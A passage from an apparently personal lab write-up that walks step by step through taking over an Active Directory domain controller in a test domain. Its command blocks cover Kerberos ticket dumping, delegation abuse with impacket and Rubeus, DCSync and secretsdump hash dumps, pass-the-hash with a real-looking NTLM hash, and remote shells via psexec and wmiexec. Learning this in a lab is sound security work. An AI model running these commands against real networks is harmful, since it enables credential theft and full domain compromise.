decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The window on the right is the svc_sharepoint cmd. Once it closes, everything is gone.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Save it locally with this command for easier copying&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe dump /service:krbtgt /user:svc_sharepoint /nowrap &amp;gt;&amp;gt; ticket.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe ptt /ticket:[base64]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0035.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;dir \WindowsServerAD.test.local\c$&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0036.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="getting-domain-controller-access-with-unconstrained-and-constrained-delegation"&gt;&lt;a href="#getting-domain-controller-access-with-unconstrained-and-constrained-delegation" class="header-anchor"&gt;&lt;/a&gt;Getting Domain Controller Access with Unconstrained and Constrained Delegation&#10;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;Getting a shell with unconstrained delegation is simple:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# After importing the Administrator ticket, access is effectively equivalent to Domain Admin; test each option when validating&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter-PSSession -ComputerName WindowsServerAD&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsadump::dcsync /domain:test.local /all /csv&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Getting a shell with constrained delegation&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;We know that TGTs are encrypted and signed by the &lt;code&gt;krbtgt&lt;/code&gt; user. If we can delegate a domain user to access &lt;code&gt;TGS&lt;/code&gt;, we can forge a TGT for any user. Ordinarily, a golden ticket is forged using the &lt;code&gt;krbtgt&lt;/code&gt; hash, but constrained delegation can achieve the same result.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: The default spn for &lt;code&gt;TGS&lt;/code&gt; is &lt;code&gt;krbtgt/domain name&lt;/code&gt;; in our environment, it is &lt;code&gt;krbtgt/test.local&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;krbtgt&lt;/code&gt; is disabled by default and cannot be enabled, so we cannot use the GUI to add this SPN.&lt;/p&gt;&#10;&lt;p&gt;We can add it with powershell.&lt;/p&gt;&#10;&lt;h2 id="let-me-explain-what-the-original-author-meant-above-our-service-accountthe-constrained-delegation-accountdoes-not-have-krbtgt-privileges-by-default-those-privileges-are-disabled-but-to-use-a-golden-ticket-i-need-krbtgt-this-service-account-already-has-cifs-privileges-from-our-earlier-configuration-i-cannot-delegate-krbtgt-to-this-service-account-in-my-environment-so-below-i-will-only-paste-the-original-authors-successful-method-then-use-cifs-to-take-over-the-domain-controller-myself-the-original-authors-method-is-separated-by-horizontal-rules"&gt;&lt;a href="#let-me-explain-what-the-original-author-meant-above-our-service-accountthe-constrained-delegation-accountdoes-not-have-krbtgt-privileges-by-default-those-privileges-are-disabled-but-to-use-a-golden-ticket-i-need-krbtgt-this-service-account-already-has-cifs-privileges-from-our-earlier-configuration-i-cannot-delegate-krbtgt-to-this-service-account-in-my-environment-so-below-i-will-only-paste-the-original-authors-successful-method-then-use-cifs-to-take-over-the-domain-controller-myself-the-original-authors-method-is-separated-by-horizontal-rules" class="header-anchor"&gt;&lt;/a&gt;Let me explain what the original author meant above. Our service account—the constrained delegation account—does not have krbtgt privileges by default; those privileges are disabled. But to use a golden ticket, I need krbtgt. This service account already has cifs privileges from our earlier configuration. I cannot delegate krbtgt to this service account in my environment, so below I will only paste the original author&amp;rsquo;s successful method, then use cifs to take over the domain controller myself. The original author&amp;rsquo;s method is separated by horizontal rules.&#10;&lt;/h2&gt;&lt;hr&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module ActiveDirectory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$user = Get-ADUser svc_sharepoint&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ADObject $user -Add @{ &amp;#34;msDS-AllowedToDelegateTo&amp;#34; = @(&amp;#34;krbtgt/test.local&amp;#34;) }&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: ActiveDirectory is installed on domain controllers by default. If it is missing, download the dll from this &lt;a class="link" href="https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll" target="_blank" rel="noopener"&#10; &gt;link&lt;/a&gt;, then import it with &lt;code&gt;import-module .\Microsoft.ActiveDirectory.Management.dll&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;I linked PowerView.ps1 above, but here it is again.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1" target="_blank" rel="noopener"&#10; &gt;https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainUser -TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADUser -Filter * -TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,&amp;#34;msds-allowedtodelegateto&amp;#34; | Format-List&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0037.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We can use the &lt;code&gt;impacket&lt;/code&gt; suite&amp;rsquo;s &lt;code&gt;getST&lt;/code&gt; to request administrator&amp;rsquo;s TGT from the KDC.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python getST.py -dc-ip 192.168.0.110 -spn krbtgt/WindowsServerAD.test.local -impersonate Administrator test.local/svc_sharepoint:Password123!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I failed to reproduce this. It seems the version is too new, which prevents &lt;code&gt;krbtgt&lt;/code&gt; from being delegated. I&amp;rsquo;m recording it here anyway. There are all sorts of delegation techniques and many ways to use them; if you run into one, just search for the relevant method.&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll use cifs instead.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python getST.py -dc-ip 192.168.0.110 -spn cifs/WindowsServerAD.test.local -impersonate Administrator test.local/svc_sharepoint:Password123!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0038.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;For the ccache, simply use PTC. I covered this on another page, so I&amp;rsquo;ll copy it over here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::ptc TGT_Administrator@MAO.COM.ccache&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;misc::cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dir \\WindowsServerAD.test.local\c$&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0039.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;del&gt;wmiexec&lt;/del&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set KRB5CCNAME=Administrator@cifs_WindowsServerAD.test.local@TEST.LOCAL.ccache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python C:\Users\tony\AppData\Local\Programs\Python\Python313\Scripts\wmiexec.py test.local/administrator@WindowsServerAD.test.local -k -no-pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;export KRB5CCNAME=Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/smbexec.py -k -no-pass support.htb/administrator@dc.support.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;psexec.py -k -no-pass support.htb/administrator@dc.support.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I did not manage to execute commands and get a shell at this step. The main reason is that the cifs access I currently have does not grant access to the wmi service.&lt;/p&gt;&#10;&lt;p&gt;The ST ticket we obtained grants administrator access to cifs only—nothing else. It is limited to that service.&lt;/p&gt;&#10;&lt;p&gt;From here, I won&amp;rsquo;t follow the author&amp;rsquo;s method. I struck through all those steps. Instead, I&amp;rsquo;ll use cifs directly to get a shell; it has already been imported above.&lt;/p&gt;&#10;&lt;p&gt;Dump the hashes of every user and host on the domain controller. This works because it uses smb or cifs privileges to read the domain database.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set KRB5CCNAME=Administrator@cifs_WindowsServerAD.test.local@TEST.LOCAL.ccache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python secretsdump.py -no-pass -k WindowsServerAD.test.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0040.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There are many ways to take over the domain controller from here. PTH will do.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::pth /user:Administrator /domain:test.local /ntlm:2b2ddd54e1f78fab85e7c662f672f30e /run:cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec64.exe \\192.168.0.110 cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0041.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# WMI and SMB are also standard PTH shell-access methods; use whichever service is enabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python /opt/impacket/build/scripts-3.12/smbexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python /opt/impacket/build/scripts-3.12/wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;win11 is not in the domain, so just specify the IP.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0042.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Kali is not in the domain either, and specifying the IP works there too.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0043.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;win10 is in the domain, so specifying the hostname is enough because it uses the domain controller&amp;rsquo;s dns.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0044.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point, creating a golden ticket is no problem at all.&lt;/p&gt;&#10;&lt;p&gt;Here are the original author and reference blog links again; they also cover defensive measures.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/7217" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/7217&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.freebuf.com/articles/network/290860.html" target="_blank" rel="noopener"&#10; &gt;https://www.freebuf.com/articles/network/290860.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;h4 id="exploiting-resource-based-constrained-delegation"&gt;&lt;a href="#exploiting-resource-based-constrained-delegation" class="header-anchor"&gt;&lt;/a&gt;Exploiting Resource-Based Constrained Delegation&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# First create the machine account test:123456&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ExecutionPolicy Bypass -Scope Process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import-module .\Powermad.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString &amp;#34;123456&amp;#34; -AsPlainText -Force)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0045.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Then configure delegation and look up the SID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import-module .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-NetComputer test -Properties objectsid&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;S-1-5-21-3072663084-364016917-1341370565-9602&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0046.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Modify the msds-allowedtoactonbehalfofotheridentity value for FOREST&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList &amp;#34;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3072663084-364016917-1341370565-9602)&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SDBytes = New-Object byte[] ($SD.BinaryLength)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SD.GetBinaryForm($SDBytes, 0)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainComputer FOREST | Set-DomainObject -Set @{&amp;#39;msds-allowedtoactonbehalfofotheridentity&amp;#39;=$SDBytes} -Verbose&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# FOREST is the domain controller hostname&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span 